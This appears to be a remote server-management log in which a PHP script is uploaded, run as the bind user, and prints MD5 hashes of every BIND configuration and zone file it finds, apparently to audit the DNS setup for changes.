MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 21:04:05: Establishing a connection
2026-02-01 21:04:05: 

PUT: /tmp/pkp344053

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 21:04:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp344053; rm /tmp/pkp344053'

2026-02-01 21:04:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-02 06:00:03: Establishing a remote connection
2026-02-02 11:14:56: Establishing a connection
2026-02-02 11:15:04: Establishing a connection
2026-02-02 11:15:05: 

PUT: /tmp/pkp109340

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-02 11:15:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp109340; rm /tmp/pkp109340'

2026-02-02 11:15:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
